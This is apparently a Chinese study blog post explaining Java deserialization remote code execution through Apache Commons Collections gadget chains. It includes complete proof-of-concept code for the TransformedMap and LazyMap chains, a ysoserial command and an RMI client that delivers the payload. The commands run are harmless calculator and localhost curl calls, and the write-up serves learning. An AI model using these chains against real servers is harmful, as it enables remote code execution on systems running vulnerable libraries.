Java反序列化学习之Apache Commons Collections

背景

Apache Commons CollectionsApache Commons的组件,它们是从Java API派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections试图通过提供新的接口,实现和实用程序来构建JDK类。
Apache Commons包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。

2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

InvokerTransformer

 Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。

Transformer接口

public interface Transformer {
    public Object transform(Object input);

}

InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    ......
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

可以看到transform方法利用Java的反射机制进行任意方法调用。
input参数是传入的一个实例化对象,反射调用的是其方法。

    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

iMethodName,iParamTypes,iArgs分别对应方法名,参数类型,参数,都是在实例化InvokerTransformer时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。

在Java中不能像php一样直接执行system()之类的函数,Java是完全面向对象的一门语言,执行某个操作需要对象->方法或者类->静态方法这样调用,常用的是Runtime.getRuntime().exec(cmd),因此上面的任意方法调用不能达到命令执行的目的。要多次调用transform并且上一次的返回结果作为下一次的输入。

ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable { 
    ......
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    .......
        public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

commons-collections中有一个满足上面条件的类:ChainedTransformer,该类实例化传入一个Transformer类型的数组,调用其transform方法挨个调用数组中对象的transform方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用transform方法时的参数是用户传入的。

结合InvokerTransformer可以构造出:

Transformer[] transformers = new Transformer[] {
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());

image.png
可以看到实例化InvokerTransformer时传入了对应的参数,返回了一个_Transformer数组对象。_
image.png
接着做为实例化参数传入ChainedTransformer,赋值给了this.iTransformers
image.png
然后把Runtime.getRuntime()对象做为参数传入ChainedTransformertransform方法。然后调用数组中第一个对象的transform方法(数组中只传入了一个InvokerTransformer对象),把Runtime.getRuntime()做为调用参数。
image.png

然后反射调用Runtime.getRuntime()exec方法并传入参数open -a Calculator执行。
image.png

ConstantTransformer

当我们把上述transformerChain对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();

显然不可能有这样的代码,我们的目的是只执行readObject()就触发命令执行。

这里用到一个内置类ConstantTransformertransform方法会把传入的实例化参数原样返回。

public class ConstantTransformer implements Transformer, Serializable {
    .....
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
}

因此构造

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

但是这里实例化后的对象Runtime不允许序列化,所以不能直接传入实例化的对象。所以我们需要在transforms中利用InvokerTransformer反射回调出Runtime.getRuntime()

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
            new InvokerTransformer("getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }),
            //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
            new InvokerTransformer("invoke",
                    new Class[] {Object.class, Object[].class },
                    new Object[] {null, new Object[0] }),
            //反射调用exec方法
            new InvokerTransformer("exec",
                    new Class[] {String.class },
                    new Object[] {"open -a Calculator"})
    };
Transformer transformerChain = new ChainedTransformer(transformers);

整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
现在反序列化后就可以obj.transform("随意输入");这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。

攻击链(一)

https://xz.aliyun.com/t/4558#toc-0
/org/apache/commons/collections/map/TransformedMap.class

    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

这里只要valueTransformer可控就可以利用上面的调用链。
构造函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }    

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

可以看到valueTransformer是可控的。
触发点

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

因此可以构造

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
        transformedmap.put("1", "2");

要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。

不过还有一处checkSetValue同样调用了transform

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

在他的父类AbstractInputCheckedMapDecorator中有个MapEntry静态类,调用了AbstractInputCheckedMapDecorator.checkSetValue

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

我们需要找一个readObject中对map执行setValue的地方。
在jdk小于1.7的时候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有对map的修改功能。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

调试payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "2");

        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
    }
}

首先把transformerChain赋值给了valueTransformer
image.png getDeclaredConstructor()返回有指定参数列表构造函数的构造函数对象,这里获取了sun.reflect.annotation.AnnotationInvocationHandler的构造函数对象。最后实例化了sun.reflect.annotation.AnnotationInvocationHandler

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

var1var2分别对应java.lang.annotation.Retention和Map实例transformedmap

image.png

看其readObject方法

Iterator var4 = this.memberValues.entrySet().iterator();this.memberValues就是Map实例transformedmap,首先会去调用其父类的entrySet方法,
image.png

valueTransformer不为空,所以返回true。进入new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)    
image.png

最终返回一个迭代器。
image.png

image.png

然后这里可以看到var3的键名为value,因此我们put的key必须为value,这样var7才不会为null

image.png

接着判断var7是否是var8的实例,var8是不是ExceptionProxy的实例。
最后会调用到setValue,此时的_this_.parent就是transformedmap
image.png
最终调用transform,触发命令执行。

攻击链(二)

/org/apache/commons/collections/map/LazyMap.java中的get方法

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

factory同样可控,key任意值不会影响结果。

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

现在我们需要想办法触发get方法。
/org/apache/commons/collections/keyvalue/TiedMapEntry.class
getValue调用了map实例的get方法。

public Object getValue() {
        return map.get(key);
    }

toString方法会调用getValue,java中的toString和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。

public String toString() {
        return getKey() + "=" + getValue();
    }

修改poc

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");

序列化entry对象,当漏洞反序列化代码如下时触发漏洞:

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
System.out.println(in.readObject());
in.close();

这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。

/javax/management/BadAttributeValueExpException.java
这里直接调用了valObj.toString(),而Object valObj = gf.get("val", null);,这里的val是私有变量我们可以通过反射私有变量来赋值。从而让valObj=entry

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

最终会调用toString
image.png

反序列化攻击RMI服务

服务器上有commons-collectons-3.1的情况下
ysoserial CommonsCollections5 'open -a open -a Calculator' > 1.txt
image.png

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.rmi.Naming;


public class UserClient {
    public static void main(String[] args) throws Exception{
        String url = "rmi://localhost:1099/hello";
        IHello userClient = (IHello)Naming.lookup(url);

        System.out.println(userClient.sayHello("hello"));
        userClient.doWork(getpayload());
    }
    public static Object getpayload() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        return objectInputStream.readObject();
    }
}

本地读取1.txt中的序列化字节序列,将它们反序列化为一个对象传给RMI服务,RMI客户端本地的stub类把对象序列化后传给RMI服务端的skeletons类,服务端调用public void doWork(Object work)时,服务器端的skeletons类反序列化触发命令执行。
image.png

后记

按照大师傅们文章中的思路跟了一遍,java好难,php真香。

Referer

https://p0sec.net/index.php/archives/121/
https://xz.aliyun.com/t/4558#toc-0
https://xz.aliyun.com/t/136
https://xz.aliyun.com/t/4711